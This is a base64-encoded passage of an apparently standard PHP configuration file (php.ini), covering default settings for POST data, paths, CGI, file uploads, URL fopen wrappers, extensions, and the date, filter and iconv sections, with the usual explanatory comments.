lmIHRoZXNlDQo7IHZhcmlhYmxlcyBhcmUgbm90IHVzZWQgd2l0aGluIGEgc2NyaXB0LCBoYXZpbmcgdGhpcyBkaXJlY3RpdmUgb24gd2lsbCByZXN1bHQNCjsgaW4gYSBwZXJmb3JtYW5jZSBnYWluLiBUaGUgUEhQIGRpcmVjdGl2ZSByZWdpc3Rlcl9hcmdjX2FyZ3YgbXVzdCBiZSBkaXNhYmxlZA0KOyBmb3IgdGhpcyBkaXJlY3RpdmUgdG8gaGF2ZSBhbnkgYWZmZWN0Lg0KOyBodHRwOi8vcGhwLm5ldC9hdXRvLWdsb2JhbHMtaml0DQphdXRvX2dsb2JhbHNfaml0ID0gT24NCg0KOyBXaGV0aGVyIFBIUCB3aWxsIHJlYWQgdGhlIFBPU1QgZGF0YS4NCjsgVGhpcyBvcHRpb24gaXMgZW5hYmxlZCBieSBkZWZhdWx0Lg0KOyBNb3N0IGxpa2VseSwgeW91IHdvbiZhbXA7YXBvczt0IHdhbnQgdG8gZGlzYWJsZSB0aGlzIG9wdGlvbiBnbG9iYWxseS4gSXQgY2F1c2VzICRfUE9TVA0KOyBhbmQgJF9GSUxFUyB0byBhbHdheXMgYmUgZW1wdHk7IHRoZSBvbmx5IHdheSB5b3Ugd2lsbCBiZSBhYmxlIHRvIHJlYWQgdGhlDQo7IFBPU1QgZGF0YSB3aWxsIGJlIHRocm91Z2ggdGhlIHBocDovL2lucHV0IHN0cmVhbSB3cmFwcGVyLiBUaGlzIGNhbiBiZSB1c2VmdWwNCjsgdG8gcHJveHkgcmVxdWVzdHMgb3IgdG8gcHJvY2VzcyB0aGUgUE9TVCBkYXRhIGluIGEgbWVtb3J5IGVmZmljaWVudCBmYXNoaW9uLg0KOyBodHRwOi8vcGhwLm5ldC9lbmFibGUtcG9zdC1kYXRhLXJlYWRpbmcNCjtlbmFibGVfcG9zdF9kYXRhX3JlYWRpbmcgPSBPZmYNCg0KOyBNYXhpbXVtIHNpemUgb2YgUE9TVCBkYXRhIHRoYXQgUEhQIHdpbGwgYWNjZXB0Lg0KOyBJdHMgdmFsdWUgbWF5IGJlIDAgdG8gZGlzYWJsZSB0aGUgbGltaXQuIEl0IGlzIGlnbm9yZWQgaWYgUE9TVCBkYXRhIHJlYWRpbmcNCjsgaXMgZGlzYWJsZWQgdGhyb3VnaCBlbmFibGVfcG9zdF9kYXRhX3JlYWRpbmcuDQo7IGh0dHA6Ly9waHAubmV0L3Bvc3QtbWF4LXNpemUNCnBvc3RfbWF4X3NpemUgPSA4TQ0KDQo7IEF1dG9tYXRpY2FsbHkgYWRkIGZpbGVzIGJlZm9yZSBQSFAgZG9jdW1lbnQuDQo7IGh0dHA6Ly9waHAubmV0L2F1dG8tcHJlcGVuZC1maWxlDQphdXRvX3ByZXBlbmRfZmlsZSA9DQoNCjsgQXV0b21hdGljYWxseSBhZGQgZmlsZXMgYWZ0ZXIgUEhQIGRvY3VtZW50Lg0KOyBodHRwOi8vcGhwLm5ldC9hdXRvLWFwcGVuZC1maWxlDQphdXRvX2FwcGVuZF9maWxlID0NCg0KOyBCeSBkZWZhdWx0LCBQSFAgd2lsbCBvdXRwdXQgYSBtZWRpYSB0eXBlIHVzaW5nIHRoZSBDb250ZW50LVR5cGUgaGVhZGVyLiBUbw0KOyBkaXNhYmxlIHRoaXMsIHNpbXBseSBzZXQgaXQgdG8gYmUgZW1wdHkuDQo7DQo7IFBIUCZhbXA7YXBvcztzIGJ1aWx0LWluIGRlZmF1bHQgbWVkaWEgdHlwZSBpcyBzZXQgdG8gdGV4dC9odG1sLg0KOyBodHRwOi8vcGhwLm5ldC9kZWZhdWx0LW1pbWV0eXBlDQpkZWZhdWx0X21pbWV0eXBlID0gJmFtcDtxdW90O3RleHQvaHRtbCZhbXA7cXVvdDsNCg0KOyBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IGNoYXJhY3RlciBzZXQgaXMgc2V0IHRvIFVURi04Lg0KOyBodHRwOi8vcGhwLm5ldC9kZWZhdWx0LWNoYXJzZXQNCmRlZmF1bHRfY2hhcnNldCA9ICZhbXA7cXVvdDtVVEYtOCZhbXA7cXVvdDsNCg0KOyBQSFAgaW50ZXJuYWwgY2hhcmFjdGVyIGVuY29kaW5nIGlzIHNldCB0byBlbXB0eS4NCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBpcyB1c2VkLg0KOyBodHRwOi8vcGhwLm5ldC9pbnRlcm5hbC1lbmNvZGluZw0KO2ludGVybmFsX2VuY29kaW5nID0NCg0KOyBQSFAgaW5wdXQgY2hhcmFjdGVyIGVuY29kaW5nIGlzIHNldCB0byBlbXB0eS4NCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBpcyB1c2VkLg0KOyBodHRwOi8vcGhwLm5ldC9pbnB1dC1lbmNvZGluZw0KO2lucHV0X2VuY29kaW5nID0NCg0KOyBQSFAgb3V0cHV0IGNoYXJhY3RlciBlbmNvZGluZyBpcyBzZXQgdG8gZW1wdHkuDQo7IElmIGVtcHR5LCBkZWZhdWx0X2NoYXJzZXQgaXMgdXNlZC4NCjsgU2VlIGFsc28gb3V0cHV0X2J1ZmZlci4NCjsgaHR0cDovL3BocC5uZXQvb3V0cHV0LWVuY29kaW5nDQo7b3V0cHV0X2VuY29kaW5nID0NCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBQYXRocyBhbmQgRGlyZWN0b3JpZXMgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KDQo7IFVOSVg6ICZhbXA7cXVvdDsvcGF0aDE6L3BhdGgyJmFtcDtxdW90Ow0KO2luY2x1ZGVfcGF0aCA9ICZhbXA7cXVvdDsuOi9waHAvaW5jbHVkZXMmYW1wO3F1b3Q7DQo7DQo7IFdpbmRvd3M6ICZhbXA7cXVvdDtccGF0aDE7XHBhdGgyJmFtcDtxdW90Ow0KO2luY2x1ZGVfcGF0aCA9ICZhbXA7cXVvdDsuO2M6XHBocFxpbmNsdWRlcyZhbXA7cXVvdDsNCjsNCjsgUEhQJmFtcDthcG9zO3MgZGVmYXVsdCBzZXR0aW5nIGZvciBpbmNsdWRlX3BhdGggaXMgJmFtcDtxdW90Oy47L3BhdGgvdG8vcGhwL3BlYXImYW1wO3F1b3Q7DQo7IGh0dHA6Ly9waHAubmV0L2luY2x1ZGUtcGF0aA0KDQo7IFRoZSByb290IG9mIHRoZSBQSFAgcGFnZXMsIHVzZWQgb25seSBpZiBub25lbXB0eS4NCjsgaWYgUEhQIHdhcyBub3QgY29tcGlsZWQgd2l0aCBGT1JDRV9SRURJUkVDVCwgeW91IFNIT1VMRCBzZXQgZG9jX3Jvb3QNCjsgaWYgeW91IGFyZSBydW5uaW5nIHBocCBhcyBhIENHSSB1bmRlciBhbnkgd2ViIHNlcnZlciAob3RoZXIgdGhhbiBJSVMpDQo7IHNlZSBkb2N1bWVudGF0aW9uIGZvciBzZWN1cml0eSBpc3N1ZXMuICBUaGUgYWx0ZXJuYXRlIGlzIHRvIHVzZSB0aGUNCjsgY2dpLmZvcmNlX3JlZGlyZWN0IGNvbmZpZ3VyYXRpb24gYmVsb3cNCjsgaHR0cDovL3BocC5uZXQvZG9jLXJvb3QNCmRvY19yb290ID0NCg0KOyBUaGUgZGlyZWN0b3J5IHVuZGVyIHdoaWNoIFBIUCBvcGVucyB0aGUgc2NyaXB0IHVzaW5nIC9+dXNlcm5hbWUgdXNlZCBvbmx5DQo7IGlmIG5vbmVtcHR5Lg0KOyBodHRwOi8vcGhwLm5ldC91c2VyLWRpcg0KdXNlcl9kaXIgPQ0KDQo7IERpcmVjdG9yeSBpbiB3aGljaCB0aGUgbG9hZGFibGUgZXh0ZW5zaW9ucyAobW9kdWxlcykgcmVzaWRlLg0KOyBodHRwOi8vcGhwLm5ldC9leHRlbnNpb24tZGlyDQo7ZXh0ZW5zaW9uX2RpciA9ICZhbXA7cXVvdDsuLyZhbXA7cXVvdDsNCjsgT24gd2luZG93czoNCjtleHRlbnNpb25fZGlyID0gJmFtcDtxdW90O2V4dCZhbXA7cXVvdDsNCg0KOyBEaXJlY3Rvcnkgd2hlcmUgdGhlIHRlbXBvcmFyeSBmaWxlcyBzaG91bGQgYmUgcGxhY2VkLg0KOyBEZWZhdWx0cyB0byB0aGUgc3lzdGVtIGRlZmF1bHQgKHNlZSBzeXNfZ2V0X3RlbXBfZGlyKQ0KO3N5c190ZW1wX2RpciA9ICZhbXA7cXVvdDsvdG1wJmFtcDtxdW90Ow0KDQo7IFdoZXRoZXIgb3Igbm90IHRvIGVuYWJsZSB0aGUgZGwoKSBmdW5jdGlvbi4gIFRoZSBkbCgpIGZ1bmN0aW9uIGRvZXMgTk9UIHdvcmsNCjsgcHJvcGVybHkgaW4gbXVsdGl0aHJlYWRlZCBzZXJ2ZXJzLCBzdWNoIGFzIElJUyBvciBaZXVzLCBhbmQgaXMgYXV0b21hdGljYWxseQ0KOyBkaXNhYmxlZCBvbiB0aGVtLg0KOyBodHRwOi8vcGhwLm5ldC9lbmFibGUtZGwNCmVuYWJsZV9kbCA9IE9mZg0KDQo7IGNnaS5mb3JjZV9yZWRpcmVjdCBpcyBuZWNlc3NhcnkgdG8gcHJvdmlkZSBzZWN1cml0eSBydW5uaW5nIFBIUCBhcyBhIENHSSB1bmRlcg0KOyBtb3N0IHdlYiBzZXJ2ZXJzLiAgTGVmdCB1bmRlZmluZWQsIFBIUCB0dXJucyB0aGlzIG9uIGJ5IGRlZmF1bHQuICBZb3UgY2FuDQo7IHR1cm4gaXQgb2ZmIGhlcmUgQVQgWU9VUiBPV04gUklTSw0KOyAqKllvdSBDQU4gc2FmZWx5IHR1cm4gdGhpcyBvZmYgZm9yIElJUywgaW4gZmFjdCwgeW91IE1VU1QuKioNCjsgaHR0cDovL3BocC5uZXQvY2dpLmZvcmNlLXJlZGlyZWN0DQo7Y2dpLmZvcmNlX3JlZGlyZWN0ID0gMQ0KDQo7IGlmIGNnaS5ucGggaXMgZW5hYmxlZCBpdCB3aWxsIGZvcmNlIGNnaSB0byBhbHdheXMgc2VudCBTdGF0dXM6IDIwMCB3aXRoDQo7IGV2ZXJ5IHJlcXVlc3QuIFBIUCZhbXA7YXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gZGlzYWJsZSB0aGlzIGZlYXR1cmUuDQo7Y2dpLm5waCA9IDENCg0KOyBpZiBjZ2kuZm9yY2VfcmVkaXJlY3QgaXMgdHVybmVkIG9uLCBhbmQgeW91IGFyZSBub3QgcnVubmluZyB1bmRlciBBcGFjaGUgb3IgTmV0c2NhcGUNCjsgKGlQbGFuZXQpIHdlYiBzZXJ2ZXJzLCB5b3UgTUFZIG5lZWQgdG8gc2V0IGFuIGVudmlyb25tZW50IHZhcmlhYmxlIG5hbWUgdGhhdCBQSFANCjsgd2lsbCBsb29rIGZvciB0byBrbm93IGl0IGlzIE9LIHRvIGNvbnRpbnVlIGV4ZWN1dGlvbi4gIFNldHRpbmcgdGhpcyB2YXJpYWJsZSBNQVkNCjsgY2F1c2Ugc2VjdXJpdHkgaXNzdWVzLCBLTk9XIFdIQVQgWU9VIEFSRSBET0lORyBGSVJTVC4NCjsgaHR0cDovL3BocC5uZXQvY2dpLnJlZGlyZWN0LXN0YXR1cy1lbnYNCjtjZ2kucmVkaXJlY3Rfc3RhdHVzX2VudiA9DQoNCjsgY2dpLmZpeF9wYXRoaW5mbyBwcm92aWRlcyAqcmVhbCogUEFUSF9JTkZPL1BBVEhfVFJBTlNMQVRFRCBzdXBwb3J0IGZvciBDR0kuICBQSFAmYW1wO2Fwb3M7cw0KOyBwcmV2aW91cyBiZWhhdmlvdXIgd2FzIHRvIHNldCBQQVRIX1RSQU5TTEFURUQgdG8gU0NSSVBUX0ZJTEVOQU1FLCBhbmQgdG8gbm90IGdyb2sNCjsgd2hhdCBQQVRIX0lORk8gaXMuICBGb3IgbW9yZSBpbmZvcm1hdGlvbiBvbiBQQVRIX0lORk8sIHNlZSB0aGUgY2dpIHNwZWNzLiAgU2V0dGluZw0KOyB0aGlzIHRvIDEgd2lsbCBjYXVzZSBQSFAgQ0dJIHRvIGZpeCBpdHMgcGF0aHMgdG8gY29uZm9ybSB0byB0aGUgc3BlYy4gIEEgc2V0dGluZw0KOyBvZiB6ZXJvIGNhdXNlcyBQSFAgdG8gYmVoYXZlIGFzIGJlZm9yZS4gIERlZmF1bHQgaXMgMS4gIFlvdSBzaG91bGQgZml4IHlvdXIgc2NyaXB0cw0KOyB0byB1c2UgU0NSSVBUX0ZJTEVOQU1FIHJhdGhlciB0aGFuIFBBVEhfVFJBTlNMQVRFRC4NCjsgaHR0cDovL3BocC5uZXQvY2dpLmZpeC1wYXRoaW5mbw0KO2NnaS5maXhfcGF0aGluZm89MQ0KDQo7IGlmIGNnaS5kaXNjYXJkX3BhdGggaXMgZW5hYmxlZCwgdGhlIFBIUCBDR0kgYmluYXJ5IGNhbiBzYWZlbHkgYmUgcGxhY2VkIG91dHNpZGUNCjsgb2YgdGhlIHdlYiB0cmVlIGFuZCBwZW9wbGUgd2lsbCBub3QgYmUgYWJsZSB0byBjaXJjdW12ZW50IC5odGFjY2VzcyBzZWN1cml0eS4NCjtjZ2kuZGlzY2FyZF9wYXRoPTENCg0KOyBGYXN0Q0dJIHVuZGVyIElJUyBzdXBwb3J0cyB0aGUgYWJpbGl0eSB0byBpbXBlcnNvbmF0ZQ0KOyBzZWN1cml0eSB0b2tlbnMgb2YgdGhlIGNhbGxpbmcgY2xpZW50LiAgVGhpcyBhbGxvd3MgSUlTIHRvIGRlZmluZSB0aGUNCjsgc2VjdXJpdHkgY29udGV4dCB0aGF0IHRoZSByZXF1ZXN0IHJ1bnMgdW5kZXIuICBtb2RfZmFzdGNnaSB1bmRlciBBcGFjaGUNCjsgZG9lcyBub3QgY3VycmVudGx5IHN1cHBvcnQgdGhpcyBmZWF0dXJlICgwMy8xNy8yMDAyKQ0KOyBTZXQgdG8gMSBpZiBydW5uaW5nIHVuZGVyIElJUy4gIERlZmF1bHQgaXMgemVyby4NCjsgaHR0cDovL3BocC5uZXQvZmFzdGNnaS5pbXBlcnNvbmF0ZQ0KO2Zhc3RjZ2kuaW1wZXJzb25hdGUgPSAxDQoNCjsgRGlzYWJsZSBsb2dnaW5nIHRocm91Z2ggRmFzdENHSSBjb25uZWN0aW9uLiBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IGJlaGF2aW9yIGlzIHRvIGVuYWJsZQ0KOyB0aGlzIGZlYXR1cmUuDQo7ZmFzdGNnaS5sb2dnaW5nID0gMA0KDQo7IGNnaS5yZmMyNjE2X2hlYWRlcnMgY29uZmlndXJhdGlvbiBvcHRpb24gdGVsbHMgUEhQIHdoYXQgdHlwZSBvZiBoZWFkZXJzIHRvDQo7IHVzZSB3aGVuIHNlbmRpbmcgSFRUUCByZXNwb25zZSBjb2RlLiBJZiBzZXQgdG8gMCwgUEhQIHNlbmRzIFN0YXR1czogaGVhZGVyIHRoYXQNCjsgaXMgc3VwcG9ydGVkIGJ5IEFwYWNoZS4gV2hlbiB0aGlzIG9wdGlvbiBpcyBzZXQgdG8gMSwgUEhQIHdpbGwgc2VuZA0KOyBSRkMyNjE2IGNvbXBsaWFudCBoZWFkZXIuDQo7IERlZmF1bHQgaXMgemVyby4NCjsgaHR0cDovL3BocC5uZXQvY2dpLnJmYzI2MTYtaGVhZGVycw0KO2NnaS5yZmMyNjE2X2hlYWRlcnMgPSAwDQoNCjsgY2dpLmNoZWNrX3NoZWJhbmdfbGluZSBjb250cm9scyB3aGV0aGVyIENHSSBQSFAgY2hlY2tzIGZvciBsaW5lIHN0YXJ0aW5nIHdpdGggIyENCjsgKHNoZWJhbmcpIGF0IHRoZSB0b3Agb2YgdGhlIHJ1bm5pbmcgc2NyaXB0LiBUaGlzIGxpbmUgbWlnaHQgYmUgbmVlZGVkIGlmIHRoZQ0KOyBzY3JpcHQgc3VwcG9ydCBydW5uaW5nIGJvdGggYXMgc3RhbmQtYWxvbmUgc2NyaXB0IGFuZCB2aWEgUEhQIENHSSZhbXA7bHQ7LiBQSFAgaW4gQ0dJDQo7IG1vZGUgc2tpcHMgdGhpcyBsaW5lIGFuZCBpZ25vcmVzIGl0cyBjb250ZW50IGlmIHRoaXMgZGlyZWN0aXZlIGlzIHR1cm5lZCBvbi4NCjsgaHR0cDovL3BocC5uZXQvY2dpLmNoZWNrLXNoZWJhbmctbGluZQ0KO2NnaS5jaGVja19zaGViYW5nX2xpbmU9MQ0KDQo7Ozs7Ozs7Ozs7Ozs7Ozs7DQo7IEZpbGUgVXBsb2FkcyA7DQo7Ozs7Ozs7Ozs7Ozs7Ozs7DQoNCjsgV2hldGhlciB0byBhbGxvdyBIVFRQIGZpbGUgdXBsb2Fkcy4NCjsgaHR0cDovL3BocC5uZXQvZmlsZS11cGxvYWRzDQpmaWxlX3VwbG9hZHMgPSBPbg0KDQo7IFRlbXBvcmFyeSBkaXJlY3RvcnkgZm9yIEhUVFAgdXBsb2FkZWQgZmlsZXMgKHdpbGwgdXNlIHN5c3RlbSBkZWZhdWx0IGlmIG5vdA0KOyBzcGVjaWZpZWQpLg0KOyBodHRwOi8vcGhwLm5ldC91cGxvYWQtdG1wLWRpcg0KO3VwbG9hZF90bXBfZGlyID0NCg0KOyBNYXhpbXVtIGFsbG93ZWQgc2l6ZSBmb3IgdXBsb2FkZWQgZmlsZXMuDQo7IGh0dHA6Ly9waHAubmV0L3VwbG9hZC1tYXgtZmlsZXNpemUNCnVwbG9hZF9tYXhfZmlsZXNpemUgPSAyTQ0KDQo7IE1heGltdW0gbnVtYmVyIG9mIGZpbGVzIHRoYXQgY2FuIGJlIHVwbG9hZGVkIHZpYSBhIHNpbmdsZSByZXF1ZXN0DQptYXhfZmlsZV91cGxvYWRzID0gMjANCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7DQo7IEZvcGVuIHdyYXBwZXJzIDsNCjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KDQo7IFdoZXRoZXIgdG8gYWxsb3cgdGhlIHRyZWF0bWVudCBvZiBVUkxzIChsaWtlIGh0dHA6Ly8gb3IgZnRwOi8vKSBhcyBmaWxlcy4NCjsgaHR0cDovL3BocC5uZXQvYWxsb3ctdXJsLWZvcGVuDQphbGxvd191cmxfZm9wZW4gPSBPbg0KDQo7IFdoZXRoZXIgdG8gYWxsb3cgaW5jbHVkZS9yZXF1aXJlIHRvIG9wZW4gVVJMcyAobGlrZSBodHRwOi8vIG9yIGZ0cDovLykgYXMgZmlsZXMuDQo7IGh0dHA6Ly9waHAubmV0L2FsbG93LXVybC1pbmNsdWRlDQphbGxvd191cmxfaW5jbHVkZSA9IE9mZg0KDQo7IERlZmluZSB0aGUgYW5vbnltb3VzIGZ0cCBwYXNzd29yZCAoeW91ciBlbWFpbCBhZGRyZXNzKS4gUEhQJmFtcDthcG9zO3MgZGVmYXVsdCBzZXR0aW5nDQo7IGZvciB0aGlzIGlzIGVtcHR5Lg0KOyBodHRwOi8vcGhwLm5ldC9mcm9tDQo7ZnJvbT0mYW1wO3F1b3Q7am9obkBkb2UuY29tJmFtcDtxdW90Ow0KDQo7IERlZmluZSB0aGUgVXNlci1BZ2VudCBzdHJpbmcuIFBIUCZhbXA7YXBvcztzIGRlZmF1bHQgc2V0dGluZyBmb3IgdGhpcyBpcyBlbXB0eS4NCjsgaHR0cDovL3BocC5uZXQvdXNlci1hZ2VudA0KO3VzZXJfYWdlbnQ9JmFtcDtxdW90O1BIUCZhbXA7cXVvdDsNCg0KOyBEZWZhdWx0IHRpbWVvdXQgZm9yIHNvY2tldCBiYXNlZCBzdHJlYW1zIChzZWNvbmRzKQ0KOyBodHRwOi8vcGhwLm5ldC9kZWZhdWx0LXNvY2tldC10aW1lb3V0DQpkZWZhdWx0X3NvY2tldF90aW1lb3V0ID0gNjANCg0KOyBJZiB5b3VyIHNjcmlwdHMgaGF2ZSB0byBkZWFsIHdpdGggZmlsZXMgZnJvbSBNYWNpbnRvc2ggc3lzdGVtcywNCjsgb3IgeW91IGFyZSBydW5uaW5nIG9uIGEgTWFjIGFuZCBuZWVkIHRvIGRlYWwgd2l0aCBmaWxlcyBmcm9tDQo7IHVuaXggb3Igd2luMzIgc3lzdGVtcywgc2V0dGluZyB0aGlzIGZsYWcgd2lsbCBjYXVzZSBQSFAgdG8NCjsgYXV0b21hdGljYWxseSBkZXRlY3QgdGhlIEVPTCBjaGFyYWN0ZXIgaW4gdGhvc2UgZmlsZXMgc28gdGhhdA0KOyBmZ2V0cygpIGFuZCBmaWxlKCkgd2lsbCB3b3JrIHJlZ2FyZGxlc3Mgb2YgdGhlIHNvdXJjZSBvZiB0aGUgZmlsZS4NCjsgaHR0cDovL3BocC5uZXQvYXV0by1kZXRlY3QtbGluZS1lbmRpbmdzDQo7YXV0b19kZXRlY3RfbGluZV9lbmRpbmdzID0gT2ZmDQoNCjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsNCjsgRHluYW1pYyBFeHRlbnNpb25zIDsNCjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsNCg0KOyBJZiB5b3Ugd2lzaCB0byBoYXZlIGFuIGV4dGVuc2lvbiBsb2FkZWQgYXV0b21hdGljYWxseSwgdXNlIHRoZSBmb2xsb3dpbmcNCjsgc3ludGF4Og0KOw0KOyAgIGV4dGVuc2lvbj1tb2R1bGVuYW1lDQo7DQo7IEZvciBleGFtcGxlOg0KOw0KOyAgIGV4dGVuc2lvbj1teXNxbGkNCjsNCjsgV2hlbiB0aGUgZXh0ZW5zaW9uIGxpYnJhcnkgdG8gbG9hZCBpcyBub3QgbG9jYXRlZCBpbiB0aGUgZGVmYXVsdCBleHRlbnNpb24NCjsgZGlyZWN0b3J5LCBZb3UgbWF5IHNwZWNpZnkgYW4gYWJzb2x1dGUgcGF0aCB0byB0aGUgbGlicmFyeSBmaWxlOg0KOw0KOyAgIGV4dGVuc2lvbj0vcGF0aC90by9leHRlbnNpb24vbXlzcWxpLnNvDQo7DQo7IE5vdGUgOiBUaGUgc3ludGF4IHVzZWQgaW4gcHJldmlvdXMgUEhQIHZlcnNpb25zICgmYW1wO2Fwb3M7ZXh0ZW5zaW9uPSZhbXA7bHQ7ZXh0JmFtcDtndDsuc28mYW1wO2Fwb3M7IGFuZA0KOyAmYW1wO2Fwb3M7ZXh0ZW5zaW9uPSZhbXA7YXBvcztwaHBfJmFtcDtsdDtleHQmYW1wO2d0Oy5kbGwmYW1wO2Fwb3M7KSBpcyBzdXBwb3J0ZWQgZm9yIGxlZ2FjeSByZWFzb25zIGFuZCBtYXkgYmUNCjsgZGVwcmVjYXRlZCBpbiBhIGZ1dHVyZSBQSFAgbWFqb3IgdmVyc2lvbi4gU28sIHdoZW4gaXQgaXMgcG9zc2libGUsIHBsZWFzZQ0KOyBtb3ZlIHRvIHRoZSBuZXcgKCZhbXA7YXBvcztleHRlbnNpb249JmFtcDtsdDtleHQmYW1wO2d0Oykgc3ludGF4Lg0KOw0KOyBOb3RlcyBmb3IgV2luZG93cyBlbnZpcm9ubWVudHMgOg0KOw0KOyAtIE1hbnkgRExMIGZpbGVzIGFyZSBsb2NhdGVkIGluIHRoZSBleHRlbnNpb25zLyAoUEhQIDQpIG9yIGV4dC8gKFBIUCA1KykNCjsgICBleHRlbnNpb24gZm9sZGVycyBhcyB3ZWxsIGFzIHRoZSBzZXBhcmF0ZSBQRUNMIERMTCBkb3dubG9hZCAoUEhQIDUrKS4NCjsgICBCZSBzdXJlIHRvIGFwcHJvcHJpYXRlbHkgc2V0IHRoZSBleHRlbnNpb25fZGlyIGRpcmVjdGl2ZS4NCjsNCjtleHRlbnNpb249YnoyDQo7ZXh0ZW5zaW9uPWN1cmwNCjtleHRlbnNpb249ZmlsZWluZm8NCjtleHRlbnNpb249Z2QyDQo7ZXh0ZW5zaW9uPWdldHRleHQNCjtleHRlbnNpb249Z21wDQo7ZXh0ZW5zaW9uPWludGwNCjtleHRlbnNpb249aW1hcA0KO2V4dGVuc2lvbj1pbnRlcmJhc2UNCjtleHRlbnNpb249bGRhcA0KO2V4dGVuc2lvbj1tYnN0cmluZw0KO2V4dGVuc2lvbj1leGlmICAgICAgOyBNdXN0IGJlIGFmdGVyIG1ic3RyaW5nIGFzIGl0IGRlcGVuZHMgb24gaXQNCjtleHRlbnNpb249bXlzcWxpDQo7ZXh0ZW5zaW9uPW9jaThfMTJjICA7IFVzZSB3aXRoIE9yYWNsZSBEYXRhYmFzZSAxMmMgSW5zdGFudCBDbGllbnQNCjtleHRlbnNpb249b2RiYw0KO2V4dGVuc2lvbj1vcGVuc3NsDQo7ZXh0ZW5zaW9uPXBkb19maXJlYmlyZA0KO2V4dGVuc2lvbj1wZG9fbXlzcWwNCjtleHRlbnNpb249cGRvX29jaQ0KO2V4dGVuc2lvbj1wZG9fb2RiYw0KO2V4dGVuc2lvbj1wZG9fcGdzcWwNCjtleHRlbnNpb249cGRvX3NxbGl0ZQ0KO2V4dGVuc2lvbj1wZ3NxbA0KO2V4dGVuc2lvbj1zaG1vcA0KDQo7IFRoZSBNSUJTIGRhdGEgYXZhaWxhYmxlIGluIHRoZSBQSFAgZGlzdHJpYnV0aW9uIG11c3QgYmUgaW5zdGFsbGVkLg0KOyBTZWUgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9zbm1wLmluc3RhbGxhdGlvbi5waHANCjtleHRlbnNpb249c25tcA0KDQo7ZXh0ZW5zaW9uPXNvYXANCjtleHRlbnNpb249c29ja2V0cw0KO2V4dGVuc2lvbj1zb2RpdW0NCjtleHRlbnNpb249c3FsaXRlMw0KO2V4dGVuc2lvbj10aWR5DQo7ZXh0ZW5zaW9uPXhtbHJwYw0KO2V4dGVuc2lvbj14c2wNCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBNb2R1bGUgU2V0dGluZ3MgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KDQpbQ0xJIFNlcnZlcl0NCjsgV2hldGhlciB0aGUgQ0xJIHdlYiBzZXJ2ZXIgdXNlcyBBTlNJIGNvbG9yIGNvZGluZyBpbiBpdHMgdGVybWluYWwgb3V0cHV0Lg0KY2xpX3NlcnZlci5jb2xvciA9IE9uDQoNCltEYXRlXQ0KOyBEZWZpbmVzIHRoZSBkZWZhdWx0IHRpbWV6b25lIHVzZWQgYnkgdGhlIGRhdGUgZnVuY3Rpb25zDQo7IGh0dHA6Ly9waHAubmV0L2RhdGUudGltZXpvbmUNCjtkYXRlLnRpbWV6b25lID0NCg0KOyBodHRwOi8vcGhwLm5ldC9kYXRlLmRlZmF1bHQtbGF0aXR1ZGUNCjtkYXRlLmRlZmF1bHRfbGF0aXR1ZGUgPSAzMS43NjY3DQoNCjsgaHR0cDovL3BocC5uZXQvZGF0ZS5kZWZhdWx0LWxvbmdpdHVkZQ0KO2RhdGUuZGVmYXVsdF9sb25naXR1ZGUgPSAzNS4yMzMzDQoNCjsgaHR0cDovL3BocC5uZXQvZGF0ZS5zdW5yaXNlLXplbml0aA0KO2RhdGUuc3VucmlzZV96ZW5pdGggPSA5MC41ODMzMzMNCg0KOyBodHRwOi8vcGhwLm5ldC9kYXRlLnN1bnNldC16ZW5pdGgNCjtkYXRlLnN1bnNldF96ZW5pdGggPSA5MC41ODMzMzMNCg0KW2ZpbHRlcl0NCjsgaHR0cDovL3BocC5uZXQvZmlsdGVyLmRlZmF1bHQNCjtmaWx0ZXIuZGVmYXVsdCA9IHVuc2FmZV9yYXcNCg0KOyBodHRwOi8vcGhwLm5ldC9maWx0ZXIuZGVmYXVsdC1mbGFncw0KO2ZpbHRlci5kZWZhdWx0X2ZsYWdzID0NCg0KW2ljb252XQ0KOyBVc2Ugb2YgdGhpcyBJTkkgZW50cnkgaXMgZGVwcmVjYXRlZCwgdXNlIGdsb2JhbCBpbnB1dF9lbmNvZGluZyBpbnN0ZWFkLg0KOyBJZiBlbXB0eSwgZGVmYXVsdF9jaGFyc2V0IG9yIGlucHV0X2VuY29kaW5nIG9yIGljb252LmlucHV0X2VuY29kaW5nIGlzIHVzZWQuDQo7IFRoZSBwcmVjZWRlbmNlIGlzOiBkZWZhdWx0X2NoYXJzZXQgJmFtcDtsdDsgaW5wdXRfZW5jb2RpbmcgJmFtcDtsdDsgaWNvbnYuaW5wdXRfZW5jb2RpbmcNCjtpY29udi5pbnB1dF9lbmNvZGluZyA9DQoNCjsgVXNlIG9mIHRoaXMgSU5JIGVudHJ5IGlzIGRlcHJlY2F0ZWQsIHVzZSBnbG9iYWwgaW50ZXJuYWxfZW5jb2RpbmcgaW5zdGVhZC4NCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBvciBpbnRlcm5hbF9lbmNvZGluZyBvciBpY29udi5pbnRlcm5hbF9lbmNvZGluZyBpcyB1c2VkLg0KOyBUaGUgcHJlY2VkZW5jZSBpczogZGVmYXVsdF9jaGFyc2V0ICZhbXA7bHQ7IGludGVybmFsX2VuY29kaW5nICZhbXA7bHQ7IGljb252LmludGVybmFsX2VuY29kaW5nDQo7aWNvbnYuaW50ZXJuYWxfZW5jb2RpbmcgPQ0KDQo7IFVzZSBvZiB0aGlzIElOSSBlbnRyeSBpcyBkZXByZWNhdGVkLCB1c2UgZ2xvYmFsIG91dHB1dF9lbmNvZGluZyBpbnN0ZWFkLg0KOyBJZiBlbXB0eSwgZGVmYXVsdF9jaGFyc2V0IG9yIG91dHB1dF9lbmNvZGluZyBvciBpY29udi5vdXRwdXRfZW5jb2RpbmcgaXMgdXNlZC4NCjsgVGhlIHByZWNlZGVuY2U